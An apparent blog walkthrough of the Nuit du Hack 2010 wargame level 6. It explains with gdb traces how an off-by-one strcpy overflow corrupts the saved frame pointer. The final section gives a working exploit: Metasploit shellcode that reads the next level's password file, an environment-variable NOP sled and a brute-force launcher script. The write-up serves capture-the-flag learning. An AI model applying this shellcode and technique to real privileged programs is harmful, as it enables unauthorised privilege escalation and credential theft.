lundi 9 août 2010

lvl6 wargame NDH2010 - buffer overflow tutorial

level6 wargame Nuit du Hack 2010 - buffer-overflow tutorial: only one byte available to control the return address

This article describes the resolution of the the french "Nuit du hack 2010" wargame level6 test. This is a buffer-overflow. Here, the buffer size is controled using the function strlen(). So, only one byte is available to control the return address. But the exploitation remains possible.
The interest of this article is in the understanding of the return address management on the stack.


The buffer-overflow


Here is the source code:

level6@srv-public:~$ cat level6.c
#include < stdlib.h>
#include < stdio.h>
#include < string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}

int main(int argc, char *argv[])
{
if(!argv[1]) return;

layer(argv[1]);
return 0;
}

We can see there is a protection on the length of the buffer given as argument to the function layer():
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x129')
Aww noes you'r crazy !
with an argument strictly less than 128 bytes long, the program exits normaly:
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x127')
but with an argument equal to 128 bytes long, there is an error:
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x128')
Instruction non permise

general explanation


Let's see where the error is

with 128 bytes:

level6@srv-public:~$ gdb ./level6

(gdb) disassemble main
Dump of assembler code for function main:
0x080484b0 <+0>: push %ebp
0x080484b1 <+1>: mov %esp,%ebp
0x080484b3 <+3>: sub $0x4,%esp
0x080484b6 <+6>: mov 0xc(%ebp),%eax
0x080484b9 <+9>: add $0x4,%eax
0x080484bc <+12>: mov (%eax),%eax
0x080484be <+14>: test %eax,%eax
0x080484c0 <+16>: jne 0x80484c4
0x080484c2 <+18>: jmp 0x80484d9
0x080484c4 <+20>: mov 0xc(%ebp),%eax
0x080484c7 <+23>: add $0x4,%eax
0x080484ca <+26>: mov (%eax),%eax
0x080484cc <+28>: mov %eax,(%esp)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
0x080484d9 <+41>: leave
0x080484da <+42>: ret
End of assembler dump.

(gdb) break * main+42
Breakpoint 1 at 0x80484da

(gdb) run $(perl -e 'print "A"x128')
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484da in main ()

(gdb) info registers $esp
esp 0xbffff704 0xbffff704

(gdb) x/192x $esp-32
0xbffff6e4: 0xbffff6ec 0xbffff922 0x41414141 0x41414141
0xbffff6f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff704: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff714: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff724: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff734: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff744: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff754: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff764: 0x41414141 0x41414141 0xbffff700 0x080484d4 <-- \x00 en 0xbffff76b
0xbffff774: 0xbffff922 0xbffff7d8 0xb7ea4c85 0x00000002
0xbffff784: 0xbffff804 0xbffff810 0xb7fe0b48 0x00000001
0xbffff794: 0x00000001 0x00000000 0x08048281 0xb7fd5ff4
0xbffff7a4: 0x080484f0 0x080483b0 0xbffff7d8 0x7a73011e
0xbffff7b4: 0x5104950e 0x00000000 0x00000000 0x00000000
0xbffff7c4: 0xb7ff6270 0xb7ea4bad 0xb7ffeff4 0x00000002
0xbffff7d4: 0x080483b0 0x00000000 0x080483d1 0x080484b0
0xbffff7e4: 0x00000002 0xbffff804 0x080484f0 0x080484e0
0xbffff7f4: 0xb7ff0fd0 0xbffff7fc 0xb7ffc793 0x00000002
0xbffff804: 0xbffff90e 0xbffff922 0x00000000 0xbffff9a3
0xbffff814: 0xbffff9b3 0xbffff9be 0xbffff9df 0xbffff9f2
0xbffff824: 0xbffff9fe 0xbffffeee 0xbffffef9 0xbfffff26
0xbffff834: 0xbfffff3c 0xbfffff4b 0xbfffff5c 0xbfffff6c
0xbffff844: 0xbfffff75 0xbfffff8c 0xbfffff9e 0xbfffffa6
0xbffff854: 0xbfffffb5 0x00000000 0x00000020 0xb7fe1414
0xbffff864: 0x00000021 0xb7fe1000 0x00000010 0x0febfbff
0xbffff874: 0x00000006 0x00001000 0x00000011 0x00000064
0xbffff884: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffff894: 0x00000005 0x00000007 0x00000007 0xb7fe2000
0xbffff8a4: 0x00000008 0x00000000 0x00000009 0x080483b0
0xbffff8b4: 0x0000000b 0x000003ee 0x0000000c 0x000003ee
0xbffff8c4: 0x0000000d 0x000003ee 0x0000000e 0x000003ee
0xbffff8d4: 0x00000017 0x00000000 0x0000000f 0xbffff8fb
0xbffff8e4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff8f4: 0x00000000 0x69000000 0x00363836 0x00000000
0xbffff904: 0x00000000 0x00000000 0x682f0000 0x2f656d6f
0xbffff914: 0x6576656c 0x6c2f366c 0x6c657665 0x41410036
0xbffff924: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff934: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff944: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff954: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff964: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff974: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff984: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff994: 0x41414141 0x41414141 0x41414141 0x53004141
0xbffff9a4: 0x4c4c4548 0x69622f3d 0x61622f6e 0x54006873
remark: we'll use later the address 0xbffff704, which is 20 bytes after the beginning of the buffer.

with 127 bytes:
(gdb) run $(perl -e 'print "A"x127')
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484da in main ()

(gdb) info registers $esp
esp 0xbffff77c 0xbffff77c

(gdb) x/192x $esp-32
0xbffff75c: 0x41414141 0x41414141 0x41414141 0x00414141 <-- \x00 en 0xbffff76b
0xbffff76c: 0xbffff778 0x080484d4 0xbffff923 0xbffff7d8
0xbffff77c: 0xb7ea4c85 0x00000002 0xbffff804 0xbffff810
0xbffff78c: 0xb7fe0b48 0x00000001 0x00000001 0x00000000
0xbffff79c: 0x08048281 0xb7fd5ff4 0x080484f0 0x080483b0
0xbffff7ac: 0xbffff7d8 0xecc3010f 0xc7b4951f 0x00000000
0xbffff7bc: 0x00000000 0x00000000 0xb7ff6270 0xb7ea4bad
0xbffff7cc: 0xb7ffeff4 0x00000002 0x080483b0 0x00000000
0xbffff7dc: 0x080483d1 0x080484b0 0x00000002 0xbffff804
0xbffff7ec: 0x080484f0 0x080484e0 0xb7ff0fd0 0xbffff7fc
0xbffff7fc: 0xb7ffc793 0x00000002 0xbffff90f 0xbffff923
0xbffff80c: 0x00000000 0xbffff9a3 0xbffff9b3 0xbffff9be
0xbffff81c: 0xbffff9df 0xbffff9f2 0xbffff9fe 0xbffffeee
0xbffff82c: 0xbffffef9 0xbfffff26 0xbfffff3c 0xbfffff4b
0xbffff83c: 0xbfffff5c 0xbfffff6c 0xbfffff75 0xbfffff8c
0xbffff84c: 0xbfffff9e 0xbfffffa6 0xbfffffb5 0x00000000
0xbffff85c: 0x00000020 0xb7fe1414 0x00000021 0xb7fe1000
0xbffff86c: 0x00000010 0x0febfbff 0x00000006 0x00001000
0xbffff87c: 0x00000011 0x00000064 0x00000003 0x08048034
0xbffff88c: 0x00000004 0x00000020 0x00000005 0x00000007
0xbffff89c: 0x00000007 0xb7fe2000 0x00000008 0x00000000
0xbffff8ac: 0x00000009 0x080483b0 0x0000000b 0x000003ee
0xbffff8bc: 0x0000000c 0x000003ee 0x0000000d 0x000003ee
---Type to continue, or q to quit---
0xbffff8cc: 0x0000000e 0x000003ee 0x00000017 0x00000000
0xbffff8dc: 0x0000000f 0xbffff8fb 0x00000000 0x00000000
0xbffff8ec: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffff8fc: 0x00363836 0x00000000 0x00000000 0x00000000
0xbffff90c: 0x2f000000 0x656d6f68 0x76656c2f 0x2f366c65
0xbffff91c: 0x6576656c 0x4100366c 0x41414141 0x41414141
0xbffff92c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff93c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x53004141 0x4c4c4548 0x69622f3d
The difference between the two tops of the stack, with 128 and 127 bytes, is 120 bytes long (0xbffff7c - 0xbffff704). Why are the two tops of the stack different? We'll see that in detail later. First, let's see the error of the programer.

The error of the programer: forget the null byte at the end of the string.

buf[] is a 128 bytes long string.
The protection concerns any string 129 bytes or more long.

When a 128 bytes long string is submitted, the protection is not activated. But, in fact, it is a 129 bytes long string: "128 'A' + \x00". So the byte just following the buffer on the stack is crushed.

Here is the stack when layer() is called:

+--------------------------+
| buf | <- buffer is defined just after call layer()
+--------------------------+
| $EBP | <- push EBP is the first instruction of function layer()
+--------------------------+
| $EIP | <- EIP is pushed on stack by Main() before calling layer()
+--------------------------+

Then, the last byte of EBP of Main() is overwrited. This EBP is the address of the stack bottom of Main(). So, there is a gap in stack addresses after the layer() exit.

Come back to the source code:
int main(int argc, char *argv[])
{
if(!argv[1]) return;

layer(argv[1]);
return 0;
}
After function layer(), the program tries to recover the EIP saved before calling Main() from the stack. As there is a gap in addresses, this EIP is wrong and the program SEGFAULT.

Now, let's see in detail what we explained. We begin a step by step search.

Detail explanation

Why $ESP is wrong when instruction RET is called in Main()?

Let's see when there is a difference between 127 and 128 bytes stack. Put a breakpoint at the end of function layer() and compare $esp:
(gdb) disassemble layer
Dump of assembler code for function layer:
(...)
0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.

(gdb) break * layer+75
Breakpoint 1 at 0x80484af
with 127 bytes:
(gdb) run $(perl -e 'print "A"x127')
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484af in layer ()

(gdb) info registers $esp
esp 0xbffff770 0xbffff770
with 128 bytes:
(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484af in layer ()

(gdb) info registers $esp
esp 0xbffff770 0xbffff770
At this point, both stacks are the same. Hold on...

Still with 128 bytes:
(gdb) stepi
0x080484d4 in main ()

(gdb) info registers $esp
esp 0xbffff774 0xbffff774

(gdb) stepi
0x080484d9 in main ()
We are just before instruction LEAVE:
(gdb) disassemble main
(...)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
=> 0x080484d9 <+41>: leave
0x080484da <+42>: ret

(gdb) info registers $esp
esp 0xbffff774 0xbffff774

(gdb) x/x $esp
0xbffff774: 0xbffff922
(gdb) x/48x 0xbffff922
0xbffff922: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff932: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff942: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff952: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff962: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff972: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff982: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff992: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a2: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162

(gdb) stepi
0x080484da in main ()
Now we are just before instruction RET
(gdb) disassemble main
(...)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
0x080484d9 <+41>: leave
=> 0x080484da <+42>: ret

(gdb) info registers $esp
esp 0xbffff704 0xbffff704

(gdb) info registers $ebp
ebp 0x41414141 0x41414141
So register $ESP is different just after instruction LEAVE.

Google tells us how LEAVE works (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):

leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.

ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
So LEAVE = ESP <- EBP + POP [EBP]

So $ESP is wrong when instruction RET is called in Main() because $EBP (0xbffff704), which is copied in ESP by instruction LEAVE, is wrong. Why $EBP is wrong?

why $EBP is wrong before calling instruction LEAVE in Main()?

Let's look for when value 0xbffff704 is poped in $EBP
Put a breakpoint just before calling instruction LEAVE in function layer().

(gdb) break * layer+74
Breakpoint 4 at 0x80484ae

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 4, 0x080484ae in layer ()

(gdb) disassemble layer
Dump of assembler code for function layer:
   0x08048464 <+0>:    push   %ebp
   0x08048465 <+1>:    mov    %esp,%ebp
   0x08048467 <+3>:    sub    $0x88,%esp
   0x0804846d <+9>:    mov    0x8(%ebp),%eax
   0x08048470 <+12>:    mov    %eax,(%esp)
   0x08048473 <+15>:    call   0x8048368
   0x08048478 <+20>:    cmp    $0x80,%eax
   0x0804847d <+25>:    jbe    0x8048497
   0x0804847f <+27>:    movl   $0x80485a0,(%esp)
   0x08048486 <+34>:    call   0x8048388
   0x0804848b <+39>:    movl   $0x0,(%esp)
   0x08048492 <+46>:    call   0x8048398
   0x08048497 <+51>:    mov    0x8(%ebp),%eax
   0x0804849a <+54>:    mov    %eax,0x4(%esp)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
=> 0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) info registers $ebp
ebp            0xbffff76c    0xbffff76c

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff700

Then, execute instruction LEAVE:
(gdb) stepi

(gdb) info registers $ebp
ebp            0xbffff700    0xbffff700

Then $EBP is wrong before calling instruction LEAVE in Main() because $EBP was already wrong when instruction LEAVE in layer() was called.

Why $EBP is wrong before calling instrutction LEAVE in layer()?

Remember the instruction LEAVE (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):
leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.

ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
The value of $EBP, pushed on the stack when function layer() was called , is poped in $EBP. Indeed, remember we had just before calling LEAVE in function layer():

(gdb) info registers $ebp
ebp            0xbffff76c    0xbffff76c

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff700
So $EBP is wrong when instruction LEAVE is called in layer() because the value at address 0xbffff76c is wrong. The value is 0xbffff700. When is this value defined?

When is the value 0xbffff700 pushed on the stack at address 0xbffff76c ?

Put a breakpoint at the beginning of function layer() and check step by step what is in address 0xbffff76c.

(gdb) break * layer
Breakpoint 5 at 0x8048464

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 5, 0x08048464 in layer ()

(gdb) disassemble layer
Dump of assembler code for function layer:
=> 0x08048464 <+0>:    push   %ebp
   0x08048465 <+1>:    mov    %esp,%ebp
   0x08048467 <+3>:    sub    $0x88,%esp
   0x0804846d <+9>:    mov    0x8(%ebp),%eax
   0x08048470 <+12>:    mov    %eax,(%esp)
   0x08048473 <+15>:    call   0x8048368
   0x08048478 <+20>:    cmp    $0x80,%eax
   0x0804847d <+25>:    jbe    0x8048497
   0x0804847f <+27>:    movl   $0x80485a0,(%esp)
   0x08048486 <+34>:    call   0x8048388
   0x0804848b <+39>:    movl   $0x0,(%esp)
   0x08048492 <+46>:    call   0x8048398
   0x08048497 <+51>:    mov    0x8(%ebp),%eax
   0x0804849a <+54>:    mov    %eax,0x4(%esp)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) info registers $esp
esp            0xbffff770    0xbffff770

(gdb) x/x 0xbffff76c
0xbffff76c:    0xb7fd5ff4
For the moment, the value at address 0xbffff76c is different from the one we're looking for. Nevertheless, we can see that the top of the stack is at 0xbffff770. This information may be useful later.

Put a breakpoint before calling strcpy():

(gdb) break * layer+64
Breakpoint 6 at 0x80484a4

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 6, 0x080484a4 in layer ()

(gdb) disassemble layer
(...)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
=> 0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff778

Then see what happens after function strcpy():
(gdb) nexti
0x080484a9 in layer ()

(gdb) disassemble layer
(...)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
=> 0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff770

We can see that strcpy() changed the value at address 0xbffff76c from 0xbffff778 to 0xbffff770.

So value 0xbffff700 is pushed on the stack at address 0xbffff76c by function strcpy().

Why does strcpy() change value of $EBP saved on the stack by function layer()?

Start again looking this time at the state of the stack before calling strcpy():
(gdb) run $(perl -e 'print "A"x128')
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484a4 in layer ()

(gdb) nexti
0x080484a9 in layer ()
 before strcpy():
(gdb) x/128x $esp-32
0xbffff6c4:    0xbffff76c    0xb7ff6270    0xbffff7a0    0xb7f02300
0xbffff6d4:    0xbffff922    0xb7fff8f8    0x080484f0    0x08048478
0xbffff6e4:    0xbffff6ec    0xbffff922    0xbffff7b0    0xb7fff8f8
0xbffff6f4:    0x08048281    0xb7fd41ec    0x00000000    0x00000000
0xbffff704:    0xb7f0b600    0x00000003    0x00000000    0x00001001
0xbffff714:    0x00000000    0x00000000    0x00000000    0x00004000
0xbffff724:    0xb7ebd845    0x00000001    0x00020800    0x00000000
0xbffff734:    0x0000000a    0xb7fd6cc0    0xb7fd5ff4    0xb7ff0fd0
0xbffff744:    0x080496a4    0xbffff758    0x08048334    0xb7fd6304
0xbffff754:    0x080496a4    0xbffff778    0x08048509    0xb7ebda45
0xbffff764:    0xb7ff0fd0    0x080484fb    0xbffff778    0x080484d4
0xbffff774:    0xbffff922    0xbffff7d8    0xb7ea4c85    0x00000002
0xbffff784:    0xbffff804    0xbffff810    0xb7fe0b48    0x00000001
After strcpy():
(gdb) x/128x $esp-32
0xbffff6c4:    0xbffff76c    0xb7ff6270    0x00000004    0xb7f01d40
0xbffff6d4:    0x080484f0    0x080483b0    0xbffff76c    0x080484a9
0xbffff6e4:    0xbffff6ec    0xbffff922    0x41414141    0x41414141
0xbffff6f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff704:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff714:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff724:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff734:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff744:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff754:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff764:    0x41414141    0x41414141    0xbffff700    0x080484d4
0xbffff774:    0xbffff922    0xbffff7d8    0xb7ea4c85    0x00000002
0xbffff784:    0xbffff804    0xbffff810    0xb7fe0b48    0x00000001
We can see that strcpy() copied one more byte than it should, and modified address 0xbffff76c from 0xbffff778 to 0xbffff700. The difference is then 0x78 = 120 bytes in the address.

Why does strcpy() copy one more character than it should?

Come back to the source code:
int layer(char *arg){
    if(strlen(arg)>128) {
        printf("Aww noes you'r crazy !\n");
        exit(0);
    }
    char buf[128];
    strcpy(buf, arg);
    return 0;
}
The buffer can contain 128 bytes.
But we fill it with 129 bytes: 128 characters + \x00. This NULL byte crushes the last byte of EBP saved by function layer().

payload

We use Metasploit:
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level7/passwd"
CMD => cat ../level7/passwd

msf payload(exec) > generate
# linux/x86/exec - 173 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level7/passwd
buf =
"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50" +
"\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44" +
"\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45" +
"\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43" +
"\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46" +
"\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50" +
"\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44" +
"\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48" +
"\x4d\x4b\x30\x41\x41"
So here is our payload:
"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"

injection in an environment variable

We need the program getenvaddress (seen in level5, do not forget to delete the space characters added in #include because of blogspot bug):

level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
    char *ptr;
    ptr = getenv(argv[1]);
    if( ptr == NULL )
        printf("%s not found\n", argv[1]);
    else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
    return 0;
}
compile (remember, delete space chars in #include):
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
add NOPs and inject
export LOL=$(perl -e 'print "\x90"x200 . "\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"')
find the address:
level6@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5e
We choose 0xbffffe6e (16 bytes more to jump into NOPs).

Where do we put the payload?

We saw at the beginning of this article that address 0xbffff704 was interesting and that it was 20 bytes after the beginning of our string. This is the position in the string where the program search for EIP saved before main(). So this is where we put the address of our payload.

We have seen that this address is in the middle of buf[] on the stack. This is lucky (thanks to the creators of this test)!

But there are often differences between addresses found with gdb and real addresses. So, we'll conduct some tries to put the address of our payload in our string. Let's make a little script.

exploitation

Here is the script. It puts successively the beginning of of the jumping address on each byte of the buffer.

level6@srv-public:~$ vim /tmp/exploit.sh
#!/bin/sh
trap "" 11
for (( i=1; i<125; i++ )); do
  j=$((124-$i))
  ./level6 $(perl -e "print 'A'x$i . \"\x6e\xfe\xff\xbf\" . 'A'x$j") | grep -v segmentation
done

level6@srv-public:~$ chmod +x /tmp/exploit.sh

level6@srv-public:~$ /tmp/exploit.sh
MOT DE PASSE
2 remarks about this script:
trap "" 11 means " do not do anything when SIGSEGV signal received"
grep -v segmentation means "show every output lines excepted the ones containing 'segmentation'"

references

signal management in shell - http://www.christopher.compagnon.name/sitewww/shell-trap.html
to list all signals : $ trap -l

Aucun commentaire:

Enregistrer un commentaire